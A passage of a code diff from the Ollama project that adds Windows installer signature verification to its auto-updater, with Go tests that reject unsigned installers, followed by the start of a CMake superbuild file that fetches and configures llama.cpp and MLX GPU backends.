+	oldUpdateDownloaded := UpdateDownloaded
+	oldUpdateCheckInitialDelay := UpdateCheckInitialDelay
+	oldUpdateCheckInterval := UpdateCheckInterval
+	oldUpdateCheckURLBase := UpdateCheckURLBase
+	defer func() {
+		Installer = oldInstaller
+		VerifyDownload = oldVerifyDownload
+		UpdateDownloaded = oldUpdateDownloaded
+		UpdateCheckInitialDelay = oldUpdateCheckInitialDelay
+		UpdateCheckInterval = oldUpdateCheckInterval
+		UpdateCheckURLBase = oldUpdateCheckURLBase
+	}()
+	Installer = "OllamaSetup.exe"
+	UpdateDownloaded = false
+	UpdateCheckInitialDelay = time.Millisecond
+	UpdateCheckInterval = 5 * time.Millisecond
+
+	var verifyCount atomic.Int32
+	VerifyDownload = func() error {
+		verifyCount.Add(1)
+		return nil
+	}
+
+	headETag := `"old-update"`
+	getETag := `"download-response-etag"`
+	payload := []byte("payload")
+	var headCount atomic.Int32
+	var getCount atomic.Int32
+	var server *httptest.Server
+	server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		switch r.URL.Path {
+		case "/update.json":
+			w.Write([]byte(
+				fmt.Sprintf(`{"version": "9.9.9", "url": "%s"}`,
+					server.URL+"/9.9.9/"+Installer)))
+		case "/9.9.9/" + Installer:
+			w.Header().Set("Content-Disposition", `attachment; filename="OllamaSetup.exe"`)
+			switch r.Method {
+			case http.MethodHead:
+				etag := headETag
+				if getCount.Load() > 0 {
+					etag = getETag
+				}
+				w.Header().Set("ETag", etag)
+				headCount.Add(1)
+				w.WriteHeader(http.StatusOK)
+			case http.MethodGet:
+				w.Header().Set("ETag", getETag)
+				getCount.Add(1)
+				w.WriteHeader(http.StatusOK)
+				_, _ = w.Write(payload)
+			default:
+				t.Errorf("unexpected request method %s", r.Method)
+				w.WriteHeader(http.StatusMethodNotAllowed)
+			}
+		default:
+			t.Errorf("unexpected request path %s", r.URL.Path)
+			w.WriteHeader(http.StatusNotFound)
+		}
+	}))
+	defer server.Close()
+	UpdateCheckURLBase = server.URL + "/update.json"
+
+	updater := &Updater{Store: &store.Store{DBPath: filepath.Join(t.TempDir(), "test.db")}}
+	defer updater.Store.Close()
+	settings, err := updater.Store.Settings()
+	if err != nil {
+		t.Fatal(err)
+	}
+	settings.AutoUpdateEnabled = true
+	if err := updater.Store.SetSettings(settings); err != nil {
+		t.Fatal(err)
+	}
+
+	ctx, cancel := context.WithCancel(t.Context())
+	defer cancel()
+
+	callbacks := make(chan string, 4)
+	updater.StartBackgroundUpdaterChecker(ctx, func(ver string) error {
+		callbacks <- ver
+		return nil
+	})
+
+	for range 2 {
+		select {
+		case <-callbacks:
+		case <-time.After(5 * time.Second):
+			t.Fatal("timed out waiting for repeated update checks")
+		}
+	}
+	cancel()
+
+	stageFilename, err := updateStagePath(UpdateStageDir, getETag, Installer)
+	if err != nil {
+		t.Fatal(err)
+	}
+	got, err := os.ReadFile(stageFilename)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(got) != string(payload) {
+		t.Fatalf("unexpected staged payload %q", got)
+	}
+
+	if headCount.Load() < 2 {
+		t.Fatalf("HEAD count = %d, want at least 2", headCount.Load())
+	}
+	if getCount.Load() != 1 {
+		t.Fatalf("GET count = %d, want 1", getCount.Load())
+	}
+	if verifyCount.Load() != 1 {
+		t.Fatalf("verification count = %d, want 1", verifyCount.Load())
+	}
+	if !UpdateDownloaded {
+		t.Fatal("UpdateDownloaded should stay true for already staged update")
+	}
+}
+
 func TestBackgoundChecker(t *testing.T) {
 	UpdateStageDir = t.TempDir()
 	haveUpdate := false

app/updater/updater_windows.go

@@ -1,6 +1,7 @@
 package updater
 
 import (
+	"crypto/x509"
 	"errors"
 	"fmt"
 	"log/slog"
@@ -18,6 +19,30 @@ import (
 
 var runningInstaller string
 
+var (
+	crypt32              = windows.NewLazySystemDLL("crypt32.dll")
+	procCryptMsgGetParam = crypt32.NewProc("CryptMsgGetParam")
+	procCryptMsgClose    = crypt32.NewProc("CryptMsgClose")
+)
+
+const cmsgSignerInfoParam = 6
+
+type cmsgSignerInfo struct {
+	Version                 uint32
+	Issuer                  windows.CertNameBlob
+	SerialNumber            windows.CryptIntegerBlob
+	HashAlgorithm           windows.CryptAlgorithmIdentifier
+	HashEncryptionAlgorithm windows.CryptAlgorithmIdentifier
+	EncryptedHash           windows.CryptDataBlob
+	AuthAttrs               cryptAttributes
+	UnauthAttrs             cryptAttributes
+}
+
+type cryptAttributes struct {
+	Count      uint32
+	Attributes unsafe.Pointer
+}
+
 type OSVERSIONINFOEXW struct {
 	dwOSVersionInfoSize uint32
 	dwMajorVersion      uint32
@@ -99,6 +124,12 @@ func DoUpgrade(interactive bool) error {
 		return fmt.Errorf("failed to lookup downloads")
 	}
 
+	if err := VerifyDownload(); err != nil {
+		_ = os.Remove(bundle)
+		slog.Warn("verification failure", "bundle", bundle, "error", err)
+		return fmt.Errorf("staged update verification failed: %w", err)
+	}
+
 	// We move the installer to ensure we don't race with multiple apps starting in quick succession
 	if err := os.Rename(bundle, runningInstaller); err != nil {
 		return fmt.Errorf("unable to rename %s -> %s : %w", bundle, runningInstaller, err)
@@ -184,6 +215,150 @@ func DoPostUpgradeCleanup() error {
 }
 
 func verifyDownload() error {
+	bundle := getStagedUpdate()
+	if bundle == "" {
+		return fmt.Errorf("failed to lookup downloads")
+	}
+	slog.Debug("verifying update", "bundle", bundle)
+
+	if err := verifyWindowsInstallerSignature(bundle); err != nil {
+		return fmt.Errorf("signature verification failed: %w", err)
+	}
+	return nil
+}
+
+func verifyWindowsInstallerSignature(filename string) error {
+	filename16, err := windows.UTF16PtrFromString(filename)
+	if err != nil {
+		return err
+	}
+
+	data := &windows.WinTrustData{
+		Size:             uint32(unsafe.Sizeof(windows.WinTrustData{})),
+		UIChoice:         windows.WTD_UI_NONE,
+		RevocationChecks: windows.WTD_REVOKE_WHOLECHAIN,
+		UnionChoice:      windows.WTD_CHOICE_FILE,
+		StateAction:      windows.WTD_STATEACTION_VERIFY,
+		UIContext:        windows.WTD_UICONTEXT_INSTALL,
+		FileOrCatalogOrBlobOrSgnrOrCert: unsafe.Pointer(&windows.WinTrustFileInfo{
+			Size:     uint32(unsafe.Sizeof(windows.WinTrustFileInfo{})),
+			FilePath: filename16,
+		}),
+	}
+
+	verifyErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
+	data.StateAction = windows.WTD_STATEACTION_CLOSE
+	closeErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
+	if verifyErr != nil {
+		return verifyErr
+	}
+	if closeErr != nil {
+		return fmt.Errorf("close WinVerifyTrust state: %w", closeErr)
+	}
+
+	subject, err := windowsInstallerSignerSubject(filename)
+	if err != nil {
+		return err
+	}
+	slog.Debug("verified update signature", "subject", subject)
+	return nil
+}
+
+func windowsInstallerSignerSubject(filename string) (string, error) {
+	filename16, err := windows.UTF16PtrFromString(filename)
+	if err != nil {
+		return "", err
+	}
+
+	var certStore windows.Handle
+	var msg windows.Handle
+	if err := windows.CryptQueryObject(
+		windows.CERT_QUERY_OBJECT_FILE,
+		unsafe.Pointer(filename16),
+		windows.CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
+		windows.CERT_QUERY_FORMAT_FLAG_BINARY,
+		0,
+		nil,
+		nil,
+		nil,
+		&certStore,
+		&msg,
+		nil,
+	); err != nil {
+		return "", err
+	}
+	defer windows.CertCloseStore(certStore, 0) //nolint:errcheck
+	defer cryptMsgClose(msg)                   //nolint:errcheck
+
+	var signerInfoSize uint32
+	if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, nil, &signerInfoSize); err != nil {
+		return "", err
+	}
+	if signerInfoSize == 0 {
+		return "", fmt.Errorf("missing signer info")
+	}
+
+	signerInfoBuf := make([]byte, signerInfoSize)
+	if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, unsafe.Pointer(&signerInfoBuf[0]), &signerInfoSize); err != nil {
+		return "", err
+	}
+	signerInfo := (*cmsgSignerInfo)(unsafe.Pointer(&signerInfoBuf[0]))
+	certInfo := windows.CertInfo{
+		Issuer:       signerInfo.Issuer,
+		SerialNumber: signerInfo.SerialNumber,
+	}
+
+	cert, err := windows.CertFindCertificateInStore(
+		certStore,
+		windows.X509_ASN_ENCODING|windows.PKCS_7_ASN_ENCODING,
+		0,
+		windows.CERT_FIND_SUBJECT_CERT,
+		unsafe.Pointer(&certInfo),
+		nil,
+	)
+	if err != nil {
+		return "", err
+	}
+	defer windows.CertFreeCertificateContext(cert) //nolint:errcheck
+
+	parsed, err := x509.ParseCertificate(unsafe.Slice(cert.EncodedCert, cert.Length))
+	if err != nil {
+		return "", err
+	}
+
+	for _, org := range parsed.Subject.Organization {
+		if org == "Ollama Inc." {
+			return parsed.Subject.String(), nil
+		}
+	}
+	return "", fmt.Errorf("unexpected signer: %s", parsed.Subject.String())
+}
+
+func cryptMsgGetParam(msg windows.Handle, paramType, index uint32, data unsafe.Pointer, size *uint32) error {
+	r1, _, e1 := procCryptMsgGetParam.Call(
+		uintptr(msg),
+		uintptr(paramType),
+		uintptr(index),
+		uintptr(data),
+		uintptr(unsafe.Pointer(size)),
+	)
+	if r1 == 0 {
+		if e1 != syscall.Errno(0) {
+			return e1
+		}
+		return syscall.EINVAL
+	}
+	return nil
+}
+
+func cryptMsgClose(msg windows.Handle) error {
+	r1, _, e1 := procCryptMsgClose.Call(uintptr(msg))
+	if r1 == 0 {
+		if e1 != syscall.Errno(0) {
+			return e1
+		}
+		return syscall.EINVAL
+	}
 	return nil
 }
 

app/updater/updater_windows_test.go

@@ -1,13 +1,85 @@
-//go:build windows || darwin
+//go:build windows
 
 package updater
 
 import (
 	"log/slog"
+	"os"
+	"path/filepath"
+	"strings"
 	"testing"
 )
 
+func TestVerifyDownloadRejectsUnsignedWindowsInstaller(t *testing.T) {
+	oldUpdateStageDir := UpdateStageDir
+	defer func() {
+		UpdateStageDir = oldUpdateStageDir
+	}()
+
+	t.Setenv("LOCALAPPDATA", t.TempDir())
+	UpdateStageDir = t.TempDir()
+	bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
+	if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	err := verifyDownload()
+	if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
+		t.Fatalf("expected signature verification failure, got %v", err)
+	}
+}
+
+func TestDoUpgradeAtStartupRejectsUnsignedWindowsInstaller(t *testing.T) {
+	oldUpdateStageDir := UpdateStageDir
+	oldRunningInstaller := runningInstaller
+	oldUpgradeLogFile := UpgradeLogFile
+	oldUpgradeMarkerFile := UpgradeMarkerFile
+	oldVerifyDownload := VerifyDownload
+	defer func() {
+		UpdateStageDir = oldUpdateStageDir
+		runningInstaller = oldRunningInstaller
+		UpgradeLogFile = oldUpgradeLogFile
+		UpgradeMarkerFile = oldUpgradeMarkerFile
+		VerifyDownload = oldVerifyDownload
+	}()
+
+	t.Setenv("LOCALAPPDATA", t.TempDir())
+	UpdateStageDir = t.TempDir()
+	runDir := t.TempDir()
+	runningInstaller = filepath.Join(runDir, "OllamaSetup.exe")
+	UpgradeLogFile = filepath.Join(runDir, "upgrade.log")
+	UpgradeMarkerFile = filepath.Join(runDir, "upgraded")
+	VerifyDownload = verifyDownload
+
+	bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
+	if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	err := DoUpgradeAtStartup()
+	if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
+		t.Fatalf("expected signature verification failure, got %v", err)
+	}
+	if _, err := os.Stat(runningInstaller); !os.IsNotExist(err) {
+		t.Fatalf("unsigned installer was moved before verification failed: %v", err)
+	}
+	if _, err := os.Stat(bundle); !os.IsNotExist(err) {
+		t.Fatalf("unsigned staged installer was not removed after verification failure: %v", err)
+	}
+}
+
 func TestIsInstallerRunning(t *testing.T) {
+	oldInstaller := Installer
+	defer func() {
+		Installer = oldInstaller
+	}()
+
 	slog.SetLogLoggerLevel(slog.LevelDebug)
 	Installer = "go.exe"
 	if !isInstallerRunning() {

cmake/local.cmake

@@ -0,0 +1,782 @@
+# Local Ollama superbuild targets.
+#
+# This file keeps the repository-root CMake project focused on orchestration:
+# it builds a runnable local Ollama payload by delegating llama.cpp work to the
+# llama/server CMake project and building the Go binary into a matching layout.
+
+include(ExternalProject)
+
+set(OLLAMA_LLAMA_BACKENDS "" CACHE STRING
+    "Semicolon-separated llama-server GPU backends to build: cuda_v12;cuda_v13;rocm_v7_1;rocm_v7_2;vulkan;cuda_jetpack5;cuda_jetpack6")
+set(_ollama_mlx_backends_doc "Semicolon-separated MLX backends to build: cuda_v13;metal_v3;metal_v4")
+set(OLLAMA_VERSION "0.0.0" CACHE STRING "Ollama version embedded in the local Go binary")
+set(OLLAMA_PAYLOAD_INSTALL_PREFIX "${CMAKE_BINARY_DIR}" CACHE PATH
+    "Build-time staging prefix for nested Ollama native payloads")
+
+string(REGEX REPLACE "^v" "" OLLAMA_VERSION "${OLLAMA_VERSION}")
+
+set(OLLAMA_NATIVE_CONFIG_ARG)
+if(CMAKE_CONFIGURATION_TYPES)
+    set(OLLAMA_NATIVE_CONFIG_ARG --config Release)
+endif()
+
+set(OLLAMA_NATIVE_EXTERNAL_OPTIONS)
+if(CMAKE_VERSION VERSION_GREATER_EQUAL 3.28)
+    list(APPEND OLLAMA_NATIVE_EXTERNAL_OPTIONS BUILD_JOB_SERVER_AWARE TRUE)
+endif()
+
+function(ollama_check_metal_toolchain output_version)
+    find_program(_ollama_xcrun xcrun)
+    if(NOT _ollama_xcrun)
+        message(FATAL_ERROR
+            "MLX Metal requires Xcode command line tools. Install Xcode, run "
+            "`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
+            "then install the Metal toolchain with "
+            "`xcodebuild -downloadComponent MetalToolchain`.")
+    endif()
+
+    execute_process(
+        COMMAND zsh "-c"
+            "echo \"__METAL_VERSION__\" | \"${_ollama_xcrun}\" -sdk macosx metal -E -x metal -P - 2>/dev/null | tail -1 | tr -d '\n'"
+        OUTPUT_VARIABLE _metal_version
+        RESULT_VARIABLE _metal_result)
+    if(NOT _metal_result EQUAL 0 OR NOT _metal_version MATCHES "^[0-9]+$")
+        message(FATAL_ERROR
+            "MLX Metal requires Xcode's Metal toolchain. Install Xcode, run "
+            "`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
+            "then install the Metal toolchain with "
+            "`xcodebuild -downloadComponent MetalToolchain`.")
+    endif()
+
+    set(${output_version} "${_metal_version}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_macos_major_version output)
+    execute_process(
+        COMMAND sw_vers -productVersion
+        OUTPUT_VARIABLE _macos_version
+        OUTPUT_STRIP_TRAILING_WHITESPACE
+        RESULT_VARIABLE _macos_result
+        ERROR_QUIET)
+    if(_macos_result EQUAL 0)
+        string(REGEX MATCH "^[0-9]+(\\.[0-9]+)?" _macos_major "${_macos_version}")
+    endif()
+    set(${output} "${_macos_major}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_macos_sdk_major_version output)
+    execute_process(
+        COMMAND xcrun --sdk macosx --show-sdk-version
+        OUTPUT_VARIABLE _sdk_version
+        OUTPUT_STRIP_TRAILING_WHITESPACE
+        RESULT_VARIABLE _sdk_result
+        ERROR_QUIET)
+    if(_sdk_result EQUAL 0)
+        string(REGEX MATCH "^[0-9]+(\\.[0-9]+)?" _sdk_major "${_sdk_version}")
+    endif()
+    set(${output} "${_sdk_major}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_default_mlx_backends output)
+    set(_backends "")
+    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+        ollama_check_metal_toolchain(_metal_version)
+        ollama_macos_major_version(_macos_major)
+        ollama_macos_sdk_major_version(_sdk_major)
+        if(_macos_major AND _sdk_major
+            AND _macos_major VERSION_GREATER_EQUAL 26.2
+            AND _sdk_major VERSION_GREATER_EQUAL 26.2)
+            set(_backends "metal_v4")
+        else()
+            set(_backends "metal_v3")
+        endif()
+        message(STATUS "Defaulting OLLAMA_MLX_BACKENDS=${_backends} for macOS arm64")
+    endif()
+    set(${output} "${_backends}" PARENT_SCOPE)
+endfunction()
+
+if(NOT DEFINED OLLAMA_MLX_BACKENDS)
+    ollama_default_mlx_backends(_ollama_default_mlx_backends)
+    set(OLLAMA_MLX_BACKENDS "${_ollama_default_mlx_backends}" CACHE STRING "${_ollama_mlx_backends_doc}")
+else()
+    set(OLLAMA_MLX_BACKENDS "${OLLAMA_MLX_BACKENDS}" CACHE STRING "${_ollama_mlx_backends_doc}")
+endif()
+
+if(NOT OLLAMA_HAVE_LLAMA_SERVER)
+    if(OLLAMA_LLAMA_BACKENDS)
+        message(FATAL_ERROR "llama/server is required when OLLAMA_LLAMA_BACKENDS is set")
+    endif()
+    if(NOT OLLAMA_MLX_BACKENDS)
+        message(FATAL_ERROR "llama/server is required for local Ollama builds")
+    endif()
+else()
+    file(READ "${CMAKE_SOURCE_DIR}/LLAMA_CPP_VERSION" OLLAMA_LLAMA_CPP_GIT_TAG)
+    string(STRIP "${OLLAMA_LLAMA_CPP_GIT_TAG}" OLLAMA_LLAMA_CPP_GIT_TAG)
+    include(${CMAKE_SOURCE_DIR}/llama/compat/compat.cmake)
+    if(DEFINED FETCHCONTENT_SOURCE_DIR_LLAMA_CPP AND NOT "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" STREQUAL "")
+        get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
+            "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using llama.cpp source override: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
+        add_custom_target(ollama-llama-cpp-source)
+    elseif(DEFINED ENV{OLLAMA_LLAMA_CPP_SOURCE})
+        get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
+            "$ENV{OLLAMA_LLAMA_CPP_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using local llama.cpp source: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
+        add_custom_target(ollama-llama-cpp-source)
+    else()
+        set(OLLAMA_LLAMA_CPP_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/llama_cpp-src")
+        ExternalProject_Add(ollama-llama-cpp-source
+            GIT_REPOSITORY "https://github.com/ggml-org/llama.cpp.git"
+            GIT_TAG ${OLLAMA_LLAMA_CPP_GIT_TAG}
+            GIT_SHALLOW TRUE
+            SOURCE_DIR ${OLLAMA_LLAMA_CPP_SOURCE_DIR}
+            CONFIGURE_COMMAND ""
+            BUILD_COMMAND ""
+            INSTALL_COMMAND ""
+            PATCH_COMMAND ${OLLAMA_LLAMA_CPP_COMPAT_PATCH_COMMAND}
+            USES_TERMINAL_DOWNLOAD TRUE
+            USES_TERMINAL_PATCH TRUE)
+    endif()
+endif()
+
+set(_mlx_source_targets)
+if(OLLAMA_MLX_BACKENDS)
+    file(READ "${CMAKE_SOURCE_DIR}/MLX_VERSION" OLLAMA_MLX_GIT_TAG)
+    string(STRIP "${OLLAMA_MLX_GIT_TAG}" OLLAMA_MLX_GIT_TAG)
+    file(READ "${CMAKE_SOURCE_DIR}/MLX_C_VERSION" OLLAMA_MLX_C_GIT_TAG)
+    string(STRIP "${OLLAMA_MLX_C_GIT_TAG}" OLLAMA_MLX_C_GIT_TAG)
+
+    if(DEFINED FETCHCONTENT_SOURCE_DIR_MLX AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX}" STREQUAL "")
+        get_filename_component(OLLAMA_MLX_SOURCE_DIR
+            "${FETCHCONTENT_SOURCE_DIR_MLX}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using MLX source override: ${OLLAMA_MLX_SOURCE_DIR}")
+    elseif(DEFINED ENV{OLLAMA_MLX_SOURCE})
+        get_filename_component(OLLAMA_MLX_SOURCE_DIR
+            "$ENV{OLLAMA_MLX_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using local MLX source: ${OLLAMA_MLX_SOURCE_DIR}")
+    else()
+        set(OLLAMA_MLX_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-src")
+        ExternalProject_Add(ollama-mlx-source
+            GIT_REPOSITORY "https://github.com/ml-explore/mlx.git"
+            GIT_TAG ${OLLAMA_MLX_GIT_TAG}
+            # MLX uses commit hashes while we track closely; switch to shallow when MLX pins move to tags.
+            GIT_SHALLOW FALSE
+            SOURCE_DIR ${OLLAMA_MLX_SOURCE_DIR}
+            CONFIGURE_COMMAND ""
+            BUILD_COMMAND ""
+            INSTALL_COMMAND ""
+            USES_TERMINAL_DOWNLOAD TRUE)
+        list(APPEND _mlx_source_targets ollama-mlx-source)
+    endif()
+
+    if(DEFINED "FETCHCONTENT_SOURCE_DIR_MLX-C" AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX-C}" STREQUAL "")
+        get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
+            "${FETCHCONTENT_SOURCE_DIR_MLX-C}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using MLX-C source override: ${OLLAMA_MLX_C_SOURCE_DIR}")
+    elseif(DEFINED ENV{OLLAMA_MLX_C_SOURCE})
+        get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
+            "$ENV{OLLAMA_MLX_C_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using local MLX-C source: ${OLLAMA_MLX_C_SOURCE_DIR}")
+    else()
+        set(OLLAMA_MLX_C_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-c-src")
+        ExternalProject_Add(ollama-mlx-c-source
+            GIT_REPOSITORY "https://github.com/ml-explore/mlx-c.git"
+            GIT_TAG ${OLLAMA_MLX_C_GIT_TAG}
+            # MLX-C uses commit hashes while we track closely; switch to shallow when MLX-C pins move to tags.
+            GIT_SHALLOW FALSE
+            SOURCE_DIR ${OLLAMA_MLX_C_SOURCE_DIR}
+            CONFIGURE_COMMAND ""
+            BUILD_COMMAND ""
+            INSTALL_COMMAND ""
+            USES_TERMINAL_DOWNLOAD TRUE)
+        list(APPEND _mlx_source_targets ollama-mlx-c-source)
+    endif()
+    add_custom_target(ollama-mlx-sources DEPENDS ${_mlx_source_targets})
+endif()
+
+set(OLLAMA_BUILD_PARALLEL "" CACHE STRING
+    "Number of parallel jobs for nested native builds (empty = use generator default)")
+
+set(_native_parallel_args --parallel)
+if(NOT OLLAMA_BUILD_PARALLEL STREQUAL "")
+    list(APPEND _native_parallel_args ${OLLAMA_BUILD_PARALLEL})
+endif()
+
+set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
+    ${CMAKE_COMMAND} --build <BINARY_DIR> ${_native_parallel_args})
+set(OLLAMA_NATIVE_BUILD_TARGET_ARG --target)
+if(CMAKE_GENERATOR MATCHES "Makefiles")
+    set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
+        "$(MAKE)" -C <BINARY_DIR>)
+    set(OLLAMA_NATIVE_BUILD_TARGET_ARG)
+endif()
+
+function(ollama_escape_cmake_list input output)
+    string(REPLACE ";" "|" _escaped "${input}")
+    set(${output} "${_escaped}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_collect_cache_args_with_prefix prefix output)
+    get_cmake_property(_cache_variables CACHE_VARIABLES)
+    list(SORT _cache_variables)
+
+    set(_args)
+    foreach(_var IN LISTS _cache_variables)
+        if(_var MATCHES "^${prefix}")
+            ollama_escape_cmake_list("${${_var}}" _value)
+            list(APPEND _args "-D${_var}=${_value}")
+        endif()
+    endforeach()
+
+    set(${output} "${_args}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_append_cache_arg_if_set output name)
+    if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
+        ollama_escape_cmake_list("${${name}}" _value)
+        set(${output} ${${output}} "-D${name}=${_value}" PARENT_SCOPE)
+    endif()
+endfunction()
+
+function(ollama_cache_arg_is_set name output)
+    if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
+        set(${output} TRUE PARENT_SCOPE)
+    else()
+        set(${output} FALSE PARENT_SCOPE)
+    endif()
+endfunction()
+
+function(ollama_backend_cuda_major backend output)
+    if("${backend}" MATCHES "^cuda_v([0-9]+)$")
+        set(${output} "${CMAKE_MATCH_1}" PARENT_SCOPE)
+    else()
+        set(${output} "" PARENT_SCOPE)
+    endif()
+endfunction()
+
+function(ollama_find_windows_cuda_root major output)
+    if(NOT WIN32 OR "${major}" STREQUAL "")
+        set(${output} "" PARENT_SCOPE)
+        return()
+    endif()
+
+    execute_process(
+        COMMAND ${CMAKE_COMMAND} -E environment
+        OUTPUT_VARIABLE _environment)
+    string(REPLACE "\r\n" "\n" _environment "${_environment}")
+    string(REPLACE "\r" "\n" _environment "${_environment}")
+    string(REGEX MATCHALL "CUDA_PATH_V${major}_[0-9]+=[^\n]*" _matches "${_environment}")
+
+    set(_best_minor -1)
+    set(_best_root "")
+    foreach(_entry IN LISTS _matches)
+        if(_entry MATCHES "^CUDA_PATH_V${major}_([0-9]+)=(.*)$")
+            set(_minor "${CMAKE_MATCH_1}")
+            set(_root "${CMAKE_MATCH_2}")
+            if(_minor GREATER _best_minor)
+                set(_best_minor ${_minor})
+                set(_best_root "${_root}")
+            endif()
+        endif()
+    endforeach()
+
+    if(_best_root STREQUAL "" AND DEFINED ENV{CUDA_PATH})
+        set(_cuda_path "$ENV{CUDA_PATH}")
+        if(EXISTS "${_cuda_path}/version.json")
+            file(READ "${_cuda_path}/version.json" _version_json)
+            if(_version_json MATCHES "\"cuda\"[ \t\r\n]*:[ \t\r\n]*\"${major}\\.")
+                set(_best_root "${_cuda_path}")
+            endif()
+        endif()
+    endif()
+
+    set(${output} "${_best_root}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_append_cuda_toolkit_args output backend)
+    # If CUDAToolkit_ROOT is already explicitly set, just forward it.
+    ollama_append_cache_arg_if_set(${output} CUDAToolkit_ROOT)
+    if(NOT DEFINED CUDAToolkit_ROOT OR "${CUDAToolkit_ROOT}" STREQUAL "")
+        # Auto-discover CUDA toolkit for the requested backend version on Windows.
+        ollama_backend_cuda_major("${backend}" _cuda_major)
+        ollama_find_windows_cuda_root("${_cuda_major}" _cuda_root)
+        if(NOT "${_cuda_root}" STREQUAL "")
+            ollama_escape_cmake_list("${_cuda_root}" _value)
+            set(${output} ${${output}} "-DCUDAToolkit_ROOT=${_value}" PARENT_SCOPE)
+        endif()
+    endif()
+endfunction()
+
+function(ollama_llama_cuda_preset backend output)
+    ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
+    if(_has_cuda_arch)
+        set(_preset "llama_${backend}_user_arch")
+    elseif(WIN32)
+        set(_preset "llama_${backend}_windows")
+    else()
+        set(_preset "llama_${backend}_linux")
+    endif()
+    set(${output} "${_preset}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_mlx_cuda_preset output)
+    ollama_cache_arg_is_set(MLX_CUDA_ARCHITECTURES _has_mlx_arch)
+    ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
+    if(_has_mlx_arch OR _has_cuda_arch)
+        set(_preset "mlx_cuda_v13_user_arch")
+    elseif(WIN32)
+        set(_preset "mlx_cuda_v13_windows")
+    else()
+        set(_preset "mlx_cuda_v13_linux")
+    endif()
+    set(${output} "${_preset}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_rocm_preset backend output)
+    ollama_cache_arg_is_set(AMDGPU_TARGETS _has_amdgpu_targets)
+    ollama_cache_arg_is_set(CMAKE_HIP_ARCHITECTURES _has_hip_arch)
+    if(_has_amdgpu_targets OR _has_hip_arch)
+        if(backend STREQUAL "rocm_v7_1" AND NOT WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
+        elseif(backend STREQUAL "rocm_v7_2" AND WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
+        endif()
+    elseif(backend STREQUAL "rocm_v7_1")
+        if(NOT WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
+        endif()
+        set(_preset "${backend}_windows")
+    elseif(backend STREQUAL "rocm_v7_2")
+        if(WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
+        endif()
+        set(_preset "${backend}_linux")
+    else()
+        message(FATAL_ERROR "Unknown ROCm backend '${backend}'")
+    endif()
+    if(_has_amdgpu_targets OR _has_hip_arch)
+        set(_preset "${backend}_user_arch")
+    endif()
+    set(${output} "${_preset}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_add_llama_server_build name)
+    cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "TARGETS;CMAKE_ARGS" ${ARGN})
+    if(NOT ARG_TARGETS)
